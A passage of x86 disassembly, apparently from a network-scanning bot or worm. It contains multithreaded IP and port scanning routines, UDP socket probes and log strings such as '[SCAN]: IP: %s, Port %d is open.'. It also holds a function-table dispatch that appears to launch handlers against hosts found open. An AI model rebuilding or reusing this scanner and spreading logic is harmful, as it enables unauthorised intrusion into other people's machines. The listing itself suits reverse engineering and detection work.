		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_50FABC
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4237CA
		call	esi
		mov	[esp+1Ch+var_8], eax


loc_4237CA:				; CODE XREF: sub_423760+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4237D6
		call	esi
		mov	[esp+1Ch+var_C], eax


loc_4237D6:				; CODE XREF: sub_423760+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4237E2
		call	esi
		mov	[esp+1Ch+var_10], eax


loc_4237E2:				; CODE XREF: sub_423760+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4237EC
		call	esi


loc_4237EC:				; CODE XREF: sub_423760+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50BB80[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423850	proc near		; CODE XREF: sub_401E38j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42387E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42387E:				; CODE XREF: sub_423850+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		call	near ptr 71AB2DC0h
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423940:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, dword_50FC2C
		push	esi
		push	edi
		push	2649h
		call	ebp
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A28
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423A69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423B68
; ---------------------------------------------------------------------------


loc_423A69:				; CODE XREF: ___:00423A5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423AC2
		call	near ptr 71AB94DCh
		nop
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	near ptr byte_5EA1BD
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423AC2:				; CODE XREF: ___:00423A87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423B13
		mov	edi, dword_50FC58


loc_423AEA:				; CODE XREF: ___:00423B11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi
		test	eax, eax
		jl	short loc_423B42
		cmp	[esp+0FEh], bp
		jnz	short loc_423AEA


loc_423B13:				; CODE XREF: ___:00423AE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423B63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B42:				; CODE XREF: ___:00423B07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B63:				; CODE XREF: ___:00423B23j
		push	offset dword_44466C


loc_423B68:				; CODE XREF: ___:00423A64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423C10:				; CODE XREF: ___:loc_401F23j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		call	near ptr 27E0716h
		nop
		push	eax
		call	near ptr 77C371BCh
		nop
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:448FBBh[eax*4]
		mov	eax, dword_4491BF[eax*4]
		mov	ecx, dword_50BB84[eax*8]
		test	ecx, ecx
		jz	loc_423EC4
		mov	ebx, dword_50FBF0


loc_423C8C:				; CODE XREF: ___:00423EBAj
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423CA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423CAF
; ---------------------------------------------------------------------------


loc_423CA7:				; CODE XREF: ___:00423C96j
		call	sub_401F37
		add	esp, 4


loc_423CAF:				; CODE XREF: ___:00423CA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_50FC78
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx
		add	esp, 18h
		lea	ecx, [esp+220h]
		push	ecx
		push	ebp
		call	ebx
		mov	edx, [esp+138h]
		mov	eax, [esp+134h]
		push	edx
		push	eax
		push	esi
		call	sub_401E38
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_423EA0
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423DC2
		push	offset dword_50DAC0
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423DA2
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423D7D
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423D9A
; ---------------------------------------------------------------------------


loc_423D7D:				; CODE XREF: ___:00423D59j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423D9A:				; CODE XREF: ___:00423D7Bj
		call	sub_401523
		add	esp, 10h


loc_423DA2:				; CODE XREF: ___:00423D4Ej
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50DAC0
		call	near ptr 7C9010EDh
		nop
		jmp	loc_423EA0
; ---------------------------------------------------------------------------


loc_423DC2:				; CODE XREF: ___:00423D16j
		push	esi
		call	edi
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx
		mov	eax, [esp+150h]
		add	esp, 8
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+1F8h]
		lea	edx, ds:444410h[ecx*4]
		push	edx
		push	eax
		call	ebx
		mov	al, [esp+0B0h]
		add	esp, 8
		test	al, al
		jz	short loc_423E12
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423E1F
; ---------------------------------------------------------------------------


loc_423E12:				; CODE XREF: ___:00423DFEj
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423E1F:				; CODE XREF: ___:00423E10j
		call	ebx
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44443C[edx*4]
		add	esp, 0BCh


loc_423EA0:				; CODE XREF: ___:00423D08j
					; ___:00423DBDj
		push	7D0h
		nop
		call	near ptr 2830000h
		mov	eax, [ebp+204h]
		mov	ecx, dword_50BB84[eax*8]
		test	ecx, ecx
		jnz	loc_423C8C
		mov	esi, [esp+10h]


loc_423EC4:				; CODE XREF: ___:00423C80j
		push	esi
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 28301C6h
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_402261j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50BB80[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_401483
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424021
		push	offset dword_50DAC0
		call	near ptr 2780000h
		nop
		push	offset dword_50DAC0
		nop
		call	near ptr 27805CAh


loc_424021:				; CODE XREF: ___:00424009j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_50F8D0
		mov	esi, ebx
		mov	dword_50BB84[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, dword_50FBF0
		jb	loc_424150
		mov	edi, dword_50F860


loc_424052:				; CODE XREF: ___:0042414Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BD6
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F23
		push	0
		push	0
		mov	dword_4491BF[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_4491CF[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_4491CF[eax*4]
		test	ecx, ecx
		jz	short loc_424118
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42413E


loc_424107:				; CODE XREF: ___:00424114j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_424107
		jmp	short loc_42413E
; ---------------------------------------------------------------------------


loc_424118:				; CODE XREF: ___:004240FAj
		nop
		call	near ptr 27B07FFh
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42413E:				; CODE XREF: ___:00424105j
					; ___:00424116j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424052


loc_424150:				; CODE XREF: ___:00424046j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42417E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_4241B1
; ---------------------------------------------------------------------------


loc_42417E:				; CODE XREF: ___:00424159j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50BB84[ecx*8], esi
		jnz	short loc_4241B1


loc_424193:				; CODE XREF: ___:004241A8j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50BB84[edx*8], esi
		jz	short loc_424193
		mov	eax, [esp+12Ch]


loc_4241B1:				; CODE XREF: ___:0042417Cj
					; ___:00424191j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50BB80[ecx*8]
		push	ecx
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_424212
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_401523
		add	esp, 10h


loc_424212:				; CODE XREF: ___:004241EBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50BB84[eax*8], 0
		call	ebp
		push	3
		call	sub_401483
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424254
		push	offset dword_50DAC0
		call	near ptr 2780000h
		nop


loc_424254:				; CODE XREF: ___:00424247j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E24
		add	esp, 4
		push	0
		call	near ptr 28301C6h
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424330	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424330	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424350:				; CODE XREF: ___:004015E1j
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401834
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4243A0	proc near		; CODE XREF: sub_401834j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4243F2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4243F2:				; CODE XREF: sub_4243A0+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_4243A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424420	proc near		; CODE XREF: sub_4021D5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424494
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424494:				; CODE XREF: sub_424420+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424420	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4244C0	proc near		; CODE XREF: sub_4016B8j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4244D3
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4244D3:				; CODE XREF: sub_4244C0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4244C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_424517
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424517:				; CODE XREF: sub_424500+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		nop
		call	near ptr 77C2C407h
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424545
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424545:				; CODE XREF: sub_424500+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424574
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42458F
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42458F:				; CODE XREF: sub_424500+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_424500	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245F0	proc near		; CODE XREF: sub_401B68j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_446F64
		lea	ecx, [esp+20h+var_8]
		call	sub_4021D5
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424635
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424635:				; CODE XREF: sub_4245F0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016B8
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016B8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4245F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424720	proc near		; CODE XREF: sub_402036j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424720	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424760	proc near		; CODE XREF: sub_4014FBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424760	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424790	proc near		; CODE XREF: sub_4017CBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_4247A4
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4247A4:				; CODE XREF: sub_424790+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_444B94
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424790	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_401EABj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
